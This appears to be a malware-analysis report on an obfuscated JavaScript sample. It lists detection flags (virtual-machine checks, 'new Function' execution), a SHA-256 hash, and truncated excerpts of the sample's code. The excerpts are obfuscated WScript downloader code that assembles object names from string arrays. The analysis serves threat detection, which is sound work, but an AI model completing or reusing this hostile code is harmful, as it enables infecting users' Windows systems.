20170124_28336d222b08df1a4a116b1f60570363.js
Contains virtual-machine detection evidenceImmediate new Function invocation pattern
SHA-256715571c4f549a0875e183ae230b47f0f89bdcb92de634e3abb39a85a485a602e
MaleculeK(Li)O(Al)H₂(DbPo₂)
Evidence
1var qbizly = ['gkunjavb', WScript][1][["sehomki", "qhiqbakl", "qdurzejn", ["Cr", "fmalv", "ofixew"][0], "xiscenv", "lzenurp", "ojwewf", "ylfibdopm", "wolw", "kwus", "anmyly …
1:3259… fh", "adxo", "exwalz", "kymz", "sbubzuwe"][2]);
2if (["wbillagho", new Function(["vujazu", "ywyvlen", "lluto", "raslugu", "ocihw", "rced", "amsymixq", ["iboncaw", "yqpa", "ane", "if"][3], "amedmo", "ifpin", "icjerf", "ykdewj", "dwom", "pyn", "lkyqtoxu", "qesgirl", "jcosecg", "cuvju", "rocomdo", "osij"][7] + ["gvafkagka", "rdekazo", "yzwu", "owsymfe", "ysavku", "epe", "sah", "ycluxy", "owinp", "sduh", "ixqurge", "amu", "awsumluq", "pqyl", "szyljo", "vnigz", ["yqumvilq", "izvemo", "evhegt", "lehqohh", "(t"][4], "edbirkyv", "tpixapu", "ejful", "ifda", "yzmu"][16] + [["gopdopo", "hzuxbyho", "yp", "kjexep"][2], "obixo", "cud", "vrex", "erzyl", "vyla", "v …
6:2702… dba", "rwofz", ["TP", "celu"][0], "teqeqx", "qajr", "uficziz", "xen", "kymna", "wgilv", "yrvaxxy", "iqsu", "ejdeju", "pgix", "oli"][6]);
7 olwuwxe3 = chifbusr0[["sehomki", "qhiqbakl", "qdurzejn", …